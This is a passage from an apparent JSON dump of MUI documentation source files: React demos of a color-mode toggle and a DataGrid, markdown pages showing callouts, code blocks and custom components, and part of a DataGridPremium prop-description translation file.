onChange={(event) => {\n        setMode(event.target.value);\n      }}\n    >\n      <FormControlLabel\n        value=\"light\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<LightMode />}\n            icon={<LightMode />}\n          />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"system\"\n        control={\n          <Radio color=\"default\" disableTouchRipple checkedIcon={<DvrIcon />} icon={<DvrIcon />} />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"dark\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<DarkMode />}\n            icon={<DarkMode />}\n          />\n        }\n        label=\"\"\n      />\n    </RadioGroup>\n  );\n}\n\nexport default function DemoModeToggleIframe(props) {\n  return (\n    <ThemeProvider\n      {...props}\n      theme={createTheme({\n        colorSchemes: { light: true, dark: true },\n        cssVariables: {\n          cssVarPrefix: props.cssVarPrefix,\n          colorSchemeSelector: props.colorSchemeSelector || 'class',\n        },\n      })}\n    >\n      <CssBaseline />\n      <Paper\n        data-element=\"demo-mode-toggle-iframe-paper\"\n        sx={{\n          p: 2,\n          display: 'flex',\n          justifyContent: 'center',\n        }}\n      >\n        <ColorSchemeTabsBasic />\n      </Paper>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoMultiTabs.js",
    "content": "import {\n  generateFilledQuantity,\n  randomColor,\n  randomCountry,\n  randomEmail,\n  randomIncoterm,\n  randomInt,\n  randomName,\n  randomRating,\n  randomStatusOptions,\n} from '@mui/x-data-grid-generator';\n\n// eslint-disable-next-line no-restricted-imports\nimport {\n  COUNTRY_ISO_OPTIONS_SORTED,\n  INCOTERM_OPTIONS,\n  STATUS_OPTIONS,\n} from '@mui/x-data-grid-generator/services/static-data';\nimport { DataGrid, gridStringOrNumberComparator } from '@mui/x-data-grid';\nimport { renderAvatar } from '../../../data/experiments/renderers/renderAvatar';\nimport { renderEmail } from '../../../data/experiments/renderers/renderEmail';\nimport { renderEditRating, renderRating } from '../../../data/experiments/renderers/renderRating';\nimport {\n  renderCountry,\n  renderEditCountry,\n} from '../../../data/experiments/renderers/renderCountry';\nimport { renderSparkline } from '../../../data/experiments/renderers/renderSparkline';\nimport {\n  renderEditProgress,\n  renderProgress,\n} from '../../../data/experiments/renderers/renderProgress';\nimport { renderEditStatus, renderStatus } from '../../../data/experiments/renderers/renderStatus';\nimport {\n  renderEditIncoterm,\n  renderIncoterm,\n} from '../../../data/experiments/renderers/renderIncoterm';\n\nconst columns = [\n  {\n    field: 'name',\n    headerName: 'Name',\n    width: 120,\n    editable: true,\n  },\n  {\n    field: 'avatar',\n    headerName: 'Avatar',\n    display: 'flex',\n    renderCell: renderAvatar,\n    valueGetter: (value, row) =>\n      row.name == null || row.avatar == null ? null : { name: row.name, color: row.avatar },\n    sortable: false,\n    filterable: false,\n  },\n  {\n    field: 'email',\n    headerName: 'Email',\n    renderCell: renderEmail,\n    width: 150,\n    editable: true,\n  },\n  {\n    field: 'rating',\n    headerName: 'Rating',\n    display: 'flex',\n    renderCell: renderRating,\n    renderEditCell: renderEditRating,\n    width: 180,\n    type: 'number',\n    editable: true,\n    availableAggregationFunctions: ['avg', 'min', 'max', 'size'],\n  },\n  {\n    field: 'country',\n    headerName: 'Country',\n    type: 'singleSelect',\n    valueOptions: COUNTRY_ISO_OPTIONS_SORTED,\n    valueFormatter: (value) => value?.label,\n    renderCell: renderCountry,\n    renderEditCell: renderEditCountry,\n    sortComparator: (v1, v2, param1, param2) =>\n      gridStringOrNumberComparator(v1.label, v2.label, param1, param2),\n    width: 150,\n    editable: true,\n  },\n  {\n    field: 'salary',\n    headerName: 'Salary',\n    type: 'number',\n    valueFormatter: (value) => {\n      if (!value || typeof value !== 'number') {\n        return value;\n      }\n      return `$${value.toLocaleString()}`;\n    },\n    editable: true,\n  },\n  {\n    field: 'monthlyActivity',\n    headerName: 'Monthly activity',\n    type: 'custom',\n    resizable: false,\n    filterable: false,\n    sortable: false,\n    editable: false,\n    groupable: false,\n    display: 'flex',\n    renderCell: renderSparkline,\n    width: 150,\n    valueGetter: (value, row) => row.monthlyActivity,\n  },\n  {\n    field: 'budget',\n    headerName: 'Budget left',\n    renderCell: renderProgress,\n    renderEditCell: renderEditProgress,\n    availableAggregationFunctions: ['min', 'max', 'avg', 'size'],\n    type: 'number',\n    width: 120,\n    editable: true,\n  },\n  {\n    field: 'status',\n    headerName: 'Status',\n    renderCell: renderStatus,\n    renderEditCell: renderEditStatus,\n    type: 'singleSelect',\n    valueOptions: STATUS_OPTIONS,\n    width: 150,\n    editable: true,\n  },\n  {\n    field: 'incoTerm',\n    headerName: 'Incoterm',\n    renderCell: renderIncoterm,\n    renderEditCell: renderEditIncoterm,\n    type: 'singleSelect',\n    valueOptions: INCOTERM_OPTIONS,\n    editable: true,\n  },\n];\n\nconst rows = Array.from({ length: 10 }, (_, index) => ({\n  id: index,\n  name: randomName({}, {}),\n  avatar: randomColor(),\n  email: randomEmail(),\n  rating: randomRating(),\n  country: randomCountry(),\n  salary: randomInt(35000, 80000),\n  monthlyActivity: Array.from({ length: 30 }, () => randomInt(1, 25)),\n  budget: generateFilledQuantity({ quantity: 100 }),\n  status: randomStatusOptions(),\n  incoTerm: randomIncoterm(),\n}));\n\nexport default function CustomColumnFullExample() {\n  return (\n    <div style={{ height: 400, width: '100%' }}>\n      <DataGrid rows={rows} columns={columns} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/callouts.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './callouts.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/callouts.md",
    "content": "# Callouts\n\n<p class=\"description\">Type of callouts.</p>\n\n## Info\n\n:::info\nOne-liner info callout.\n:::\n\n:::info\nThis is an info callout.\nIt says, \"Here's a bit of extra insight to help you understand this feature.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n\n:::\n\n```markup\n:::info\nThis is an info callout.\nIt says, \"Here's a bit of extra insight to help you understand this feature.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n:::\n```\n\n## Success\n\n:::success\nOne-liner success callout.\n:::\n\n:::success\nThis is a success callout.\nIt says, \"Here's an actionable suggestion to help you succeed.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n\n:::\n\n```markup\n:::success\nThis is a success callout.\nIt says, \"Here's an actionable suggestion to help you succeed.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n:::\n```\n\n## Warning\n\n:::warning\nOne-liner warning callout.\n:::\n\n:::warning\nThis is a warning callout.\nIt says, \"Be careful! Keep this detail in mind to avoid potential issues.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n\n:::\n\n```markup\n:::warning\nThis is a warning callout.\nIt says, \"Be careful! Keep this detail in mind to avoid potential issues.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n:::\n```\n\n## Error\n\n:::error\nOne-liner error callout.\n:::\n\n:::error\nThis is an error callout.\nIt says, \"You will fail if you don't heed this dire warning.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n\n:::\n\n```markup\n:::error\nThis is an error callout.\nIt says, \"You will fail if you don't heed this dire warning.\"\n\n- emphasised: **bold text**\n- some code `<div/>`\n- a [link](#link).\n:::\n```\n\n## With code\n\n:::info\nThis is a callout.\n\n```jsx\nimport * as React from 'react';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicAlerts() {\n  return <Stack sx={{ width: '100%' }} spacing={2} />;\n}\n```\n\n:::\n\n## Multilines\n\n:::info\nThe `AppRouterCacheProvider` component is responsible for collecting the CSS generated by MUI System on the server, as Next.js is streaming chunks of the .html page to the client.\n\nWhile it's not required to use the `AppRouterCacheProvider` component, it's recommended to use it to ensure that the styles are appended to the `<head>` and not rendering in the `<body>`.\nSee https://github.com/mui/material-ui/issues/26561#issuecomment-855286153 for why it's better.\n:::\n"
  },
  {
    "path": "docs/pages/experiments/docs/codeblock.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './codeblock.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/codeblock.md",
    "content": "# Codeblock\n\n<p class=\"description\">Installation component.</p>\n\n## Tabs\n\n### Codeblock version\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material @emotion/react @emotion/styled\n# `@emotion/react` and `@emotion/styled` are peer dependencies\n```\n\n```bash pnpm\npnpm add @mui/material @emotion/react @emotion/styled\n# `@emotion/react` and `@emotion/styled` are peer dependencies\n```\n\n```bash yarn\nyarn add @mui/material @emotion/react @emotion/styled\n# `@emotion/react` and `@emotion/styled` are peer dependencies\n```\n\n</codeblock>\n\n### Component version\n\n{{\"component\": \"@mui/docs/HighlightedCodeWithTabs\", \"tabs\": [{\"tab\":\"JS\", \"code\":\"<div>Hello</div>\", \"language\": \"jsx\"}, {\"tab\": \"TS\", \"code\": \"type A = {}\"}]}}\n\n## With header path\n\n```jsx title=\"PlainCssSliderDeep1.js\"\nimport * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport './PlainCssSliderDeep1.css';\n\nexport default function PlainCssSliderDeep1() {\n  return (\n    <div>\n      <Slider defaultValue={30} />\n      <Slider defaultValue={30} className=\"slider\" />\n    </div>\n  );\n}\n```\n"
  },
  {
    "path": "docs/pages/experiments/docs/custom-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './custom-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/custom-components.md",
    "content": "# Custom components\n\n<p class=\"description\">They're either custom markdown components or passed through directly via \"components\".</p>\n\n## Header chips\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Feature list\n\nAvailable through the custom `<featureList>` tag.\n\n<featureList>\n- Manages modal stacking when one-at-a-time just isn't enough.\n- Creates a backdrop, for disabling interaction below the modal.est\n- It disables scrolling of the page content while open.\n- It properly manages focus; moving to the modal content, and keeping it there until the modal is closed.\n- Adds the appropriate ARIA roles automatically.\n</featureList>\n"
  },
  {
    "path": "docs/pages/experiments/docs/data-grid-premium-translation.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"aggregationFunctions\": {\n      \"description\": \"Aggregation functions available on the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"aggregationModel\": {\n      \"description\": \"Set the aggregation model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"aggregationRowsScope\": {\n      \"description\": \"Rows used to generate the aggregated value. If <code>filtered</code>, the aggregated values are generated using only the rows currently passing the filtering process. If <code>all</code>, the aggregated values are generated using all the rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"apiRef\": {\n      \"description\": \"The ref object that allows grid manipulation. Can be instantiated with <code>useGridApiRef()</code>.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"aria-label\": {\n      \"description\": \"The label of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"aria-labelledby\": {\n      \"description\": \"The id of the element containing a label for the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"autoHeight\": {\n      \"description\": \"If <code>true</code>, the grid height is dynamic and follow the number of rows in the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"autoPageSize\": {\n      \"description\": \"If <code>true</code>, the pageSize is calculated according to the container size and the max number of rows to avoid rendering a vertical scroll bar.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"cellModesModel\": {\n      \"description\": \"Controls the modes of the cells.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"checkboxSelection\": {\n      \"description\": \"If <code>true</code>, the grid get a first column with a checkbox that allows to select rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"checkboxSelectionVisibleOnly\": {\n      \"description\": \"If <code>true</code>, the &quot;Select All&quot; header checkbox selects only the rows on the current page. To be used in combination with <code>checkboxSelection</code>. It only works if the pagination is enabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"classes\": {\n      \"description\": \"Override or extend the styles applied to the component.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"clipboardCopyCellDelimiter\": {\n      \"description\": \"The character used to separate cell values when copying to the clipboard.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"columnBuffer\": {\n      \"description\": \"Number of extra columns to be rendered before/after the visible slice.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"columnHeaderHeight\": {\n      \"description\": \"Sets the height in pixel of the column headers in the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"columns\": {\n      \"description\": \"Set of columns of type GridColDef[].\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"columnThreshold\": {\n      \"description\": \"Number of rows from the <code>columnBuffer</code> that can be visible before a new slice is rendered.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"columnVisibilityModel\": {\n      \"description\": \"Set the column visibility model of the grid. If defined, the grid will ignore the <code>hide</code> property in <a href=\\\"/x/api/data-grid/grid-col-def/\\\">GridColDef</a>.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"components\": {\n      \"description\": \"Overridable components.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"componentsProps\": {\n      \"description\": \"Overridable components props dynamically passed to the component at rendering.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"defaultGroupingExpansionDepth\": {\n      \"description\": \"If above 0, the row children will be expanded up to this depth. If equal to -1, all the row children will be expanded.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"density\": {\n      \"description\": \"Set the density of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"detailPanelExpandedRowIds\": {\n      \"description\": \"The row ids to show the detail panel.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableAggregation\": {\n      \"description\": \"If <code>true</code>, aggregation is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableChildrenFiltering\": {\n      \"description\": \"If <code>true</code>, the filtering will only be applied to the top level rows when grouping rows with the <code>treeData</code> prop.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableChildrenSorting\": {\n      \"description\": \"If <code>true</code>, the sorting will only be applied to the top level rows when grouping rows with the <code>treeData</code> prop.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableClipboardPaste\": {\n      \"description\": \"If <code>true</code>, the clipboard paste is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnFilter\": {\n      \"description\": \"If <code>true</code>, column filters are disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnMenu\": {\n      \"description\": \"If <code>true</code>, the column menu is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnPinning\": {\n      \"description\": \"If <code>true</code>, the column pinning is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnReorder\": {\n      \"description\": \"If <code>true</code>, reordering columns is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnResize\": {\n      \"description\": \"If <code>true</code>, resizing columns is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableColumnSelector\": {\n      \"description\": \"If <code>true</code>, hiding/showing columns is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableDensitySelector\": {\n      \"description\": \"If <code>true</code>, the density selector is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableMultipleColumnsFiltering\": {\n      \"description\": \"If <code>true</code>, filtering with multiple columns is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableMultipleColumnsSorting\": {\n      \"description\": \"If <code>true</code>, sorting with multiple columns is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableMultipleRowSelection\": {\n      \"description\": \"If <code>true</code>, multiple selection using the Ctrl or CMD key is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableRowGrouping\": {\n      \"description\": \"If <code>true</code>, the row grouping is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableRowSelectionOnClick\": {\n      \"description\": \"If <code>true</code>, the selection on click on a row or cell is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"disableVirtualization\": {\n      \"description\": \"If <code>true</code>, the virtualization is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"editMode\": {\n      \"description\": \"Controls whether to use the cell or row editing.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"experimentalFeatures\": {\n      \"description\": \"Unstable features, breaking changes might be introduced. For each feature, if the flag is not explicitly set to <code>true</code>, then the feature is fully disabled, and neither property nor method calls will have any effect.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"filterDebounceMs\": {\n      \"description\": \"The milliseconds delay to wait after a keystroke before triggering filtering.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"filterMode\": {\n      \"description\": \"Filtering can be processed on the server or client-side. Set it to &#39;server&#39; if you would like to handle filtering on the server-side.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"filterModel\": {\n      \"description\": \"Set the filter model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"getAggregationPosition\": {\n      \"description\": \"Determines the position of an aggregated value.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"groupNode\": \"The current group.\",\n        \"GridAggregationPosition | null\": \"Position of the aggregated value (if <code>null</code>, the group isn&#39;t aggregated).\"\n      }\n    },\n    \"getCellClassName\": {\n      \"description\": \"Function that applies CSS classes dynamically on cells.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"string\": \"The CSS class to apply to the cell.\"\n      }\n    },\n    \"getDetailPanelContent\": {\n      \"description\": \"Function that returns the element to render in row detail.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"React.JSX.Element\": \"The row detail element.\"\n      }\n    },\n    \"getDetailPanelHeight\": {\n      \"description\": \"Function that returns the height of the row detail panel.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"number | string\": \"The height in pixels or &quot;auto&quot; to use the content height.\"\n      }\n    },\n    \"getEstimatedRowHeight\": {\n      \"description\": \"Function that returns the estimated height for a row. Only works if dynamic row height is used. Once the row height is measured this value is discarded.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridRowHeightParams.\",\n        \"number | null\": \"The estimated row height value. If <code>null</code> or <code>undefined</code> then the default row height, based on the density, is applied.\"\n      }\n    },\n    \"getRowClassName\": {\n      \"description\": \"Function that applies CSS classes dynamically on rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-class-name-params/\\\">GridRowClassNameParams</a>.\",\n        \"string\": \"The CSS class to apply to the row.\"\n      }\n    },\n    \"getRowHeight\": {\n      \"description\": \"Function that sets the row height per row.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridRowHeightParams.\",\n        \"GridRowHeightReturnValue\": \"The row height value. If <code>null</code> or <code>undefined</code> then the default row height is applied. If &quot;auto&quot; then the row height is calculated based on the content.\"\n      }\n    },\n    \"getRowId\": {\n      \"description\": \"Return the id of a given GridRowModel.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"getRowSpacing\": {\n      \"description\": \"Function that allows to specify the spacing between rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-spacing-params/\\\">GridRowSpacingParams</a>.\",\n        \"GridRowSpacing\": \"The row spacing values.\"\n      }\n    },\n    \"getTreeDataPath\": {\n      \"description\": \"Determines the path of a row in the tree data. For instance, a row with the path [&quot;A&quot;, &quot;B&quot;] is the child of the row with the path [&quot;A&quot;]. Note that all paths must contain at least one element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"row\": \"The row from which we want the path.\",\n        \"Array<string>\": \"The path to the row.\"\n      }\n    },\n    \"groupingColDef\": {\n      \"description\": \"The grouping column used by the tree data.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"hideFooter\": {\n      \"description\": \"If <code>true</code>, the footer component is hidden.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"hideFooterPagination\": {\n      \"description\": \"If <code>true</code>, the pagination component in the footer is hidden.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"hideFooterRowCount\": {\n      \"description\": \"If <code>true</code>, the row count in the footer is hidden. It has no effect if the pagination is enabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"hideFooterSelectedRowCount\": {\n      \"description\": \"If <code>true</code>, the selected row count in the footer is hidden.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"initialState\": {\n      \"description\": \"The initial state of the DataGridPremium. The data in it is set in the state on initialization but isn&#39;t controlled. If one of the data in <code>initialState</code> is also being controlled, then the control state wins.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"isCellEditable\": {\n      \"description\": \"Callback fired when a cell is rendered, returns true if the cell is editable.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"boolean\": \"A boolean indicating if the cell is editable.\"\n      }\n    },\n    \"isGroupExpandedByDefault\": {\n      \"description\": \"Determines if a group should be expanded after its creation. This prop takes priority over the <code>defaultGroupingExpansionDepth</code> prop.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"node\": \"The node of the group to test.\",\n        \"boolean\": \"A boolean indicating if the group is expanded.\"\n      }\n    },\n    \"isRowSelectable\": {\n      \"description\": \"Determines if a row can be selected.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"boolean\": \"A boolean indicating if the cell is selectable.\"\n      }\n    },\n    \"keepColumnPositionIfDraggedOutside\": {\n      \"description\": \"If <code>true</code>, moving the mouse pointer outside the grid before releasing the mouse button in a column re-order action will not cause the column to jump back to its original position.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"keepNonExistentRowsSelected\": {\n      \"description\": \"If <code>true</code>, the selection model will retain selected rows that do not exist. Useful when using server side pagination and row selections need to be retained when changing pages.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"loading\": {\n      \"description\": \"If <code>true</code>, a  loading overlay is displayed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"localeText\": {\n      \"description\": \"Set the locale text of the grid. You can find all the translation keys supported in <a href=\\\"https://github.com/mui/mui-x/blob/HEAD/packages/grid/x-data-grid/src/constants/localeTextConstants.ts\\\">the source</a> in the GitHub repository.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"logger\": {\n      \"description\": \"Pass a custom logger in the components that implements the Logger interface.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"logLevel\": {\n      \"description\": \"Allows to pass the logging level or false to turn off logging.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"nonce\": {\n      \"description\": \"Nonce of the inline styles for <a href=\\\"https://www.w3.org/TR/2016/REC-CSP2-20161215/#script-src-the-nonce-attribute\\\">Content Security Policy</a>.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"onAggregationModelChange\": {\n      \"description\": \"Callback fired when the row grouping model changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"The aggregated columns.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onCellClick\": {\n      \"description\": \"Callback fired when any cell is clicked.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onCellDoubleClick\": {\n      \"description\": \"Callback fired when a double click event comes from a cell element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onCellEditStart\": {\n      \"description\": \"Callback fired when the cell turns to edit mode.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"event\": \"The event that caused this prop to be called.\"\n      }\n    },\n    \"onCellEditStop\": {\n      \"description\": \"Callback fired when the cell turns to view mode.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"event\": \"The event that caused this prop to be called.\"\n      }\n    },\n    \"onCellKeyDown\": {\n      \"description\": \"Callback fired when a keydown event comes from a cell element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-cell-params/\\\">GridCellParams</a>.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onCellModesModelChange\": {\n      \"description\": \"Callback fired when the <code>cellModesModel</code> prop changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"cellModesModel\": \"Object containing which cells are in &quot;edit&quot; mode.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onClipboardCopy\": {\n      \"description\": \"Callback called when the data is copied to the clipboard.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": { \"data\": \"The data copied to the clipboard.\" }\n    },\n    \"onClipboardPasteEnd\": {\n      \"description\": \"Callback fired when the clipboard paste operation ends.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"onClipboardPasteStart\": {\n      \"description\": \"Callback fired when the clipboard paste operation starts.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"onColumnHeaderClick\": {\n      \"description\": \"Callback fired when a click event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnHeaderDoubleClick\": {\n      \"description\": \"Callback fired when a double click event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnHeaderEnter\": {\n      \"description\": \"Callback fired when a mouse enter event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnHeaderLeave\": {\n      \"description\": \"Callback fired when a mouse leave event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnHeaderOut\": {\n      \"description\": \"Callback fired when a mouseout event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": 